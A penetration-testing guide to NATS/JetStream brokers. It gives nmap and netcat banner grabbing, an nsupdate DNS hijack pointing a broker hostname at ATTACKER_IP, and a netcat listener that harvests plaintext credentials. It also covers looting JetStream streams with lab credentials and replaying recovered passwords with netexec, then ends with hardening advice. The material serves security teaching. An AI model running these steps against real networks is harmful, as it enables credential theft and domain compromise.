4222 - Pentesting NATS / JetStream
Basic Information
NATS is a high-performance message bus that speaks a simple text-based protocol: the server transmits an INFO { ... } JSON banner immediately after TCP connect, and the client replies with a CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame followed by optional PING/PUB/SUB commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (4222/tcp). TLS and authentication are optional, so many internal deployments run plaintext AUTH.
- Default client port: 4222/tcp; the conventional cluster-route port is 6222/tcp, and optional HTTP monitoring commonly uses 8222/tcp.[2]
- Stock banner fields:
"version","auth_required","jetstream","max_payload","tls_required"
Enumeration
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
The INFO frame can also be pulled manually:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Install the official CLI for deeper interaction; check the current project’s Go toolchain requirement before building from source.[4]
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.
Credential capture via DNS/service impersonation
- Identify stale AD DNS entries for the broker hostname (e.g.
nats-svc.domain.local). If the record returnsNXDOMAIN, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See AD DNS Records abuse for background.[1] - Register the hostname to an attacker-controlled IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- In a lab, mirror the legitimate banner and observe whether a legacy username/password client sends a
CONNECTframe before authenticating the server. This credential-capture condition requires plaintext NATS or TLS without server identity validation; correctly validated TLS prevents simple DNS impersonation.[3]
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- As soon as an internal client resolves the hijacked name, it will emit a plaintext
CONNECTframe containing theuser/passpair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, evenncis enough to harvest secrets. - For longer engagements, build the official server locally and inspect the relevant version in a lab. TRACE logging can expose usernames; code instrumentation or packet capture may reveal additional authentication material when transport encryption is absent.[4]
git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -V
JetStream looting & password hunting
Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:[1]
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream discovery usually follows this pattern:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming teams frequently log authentication events into subjects such as logs.auth. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.
Hardening & detection
- Enforce and validate TLS through the server’s
tlsconfiguration and confirm the advertisedtls_requiredbehavior; optionally require client certificates for mTLS. NKey/JWT authentication material is commonly distributed in.credsfiles, but NKeys/credentials are distinct from TLS client certificates.[3] - Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
- Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and restrict stream-management permissions to trusted operators.
- Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.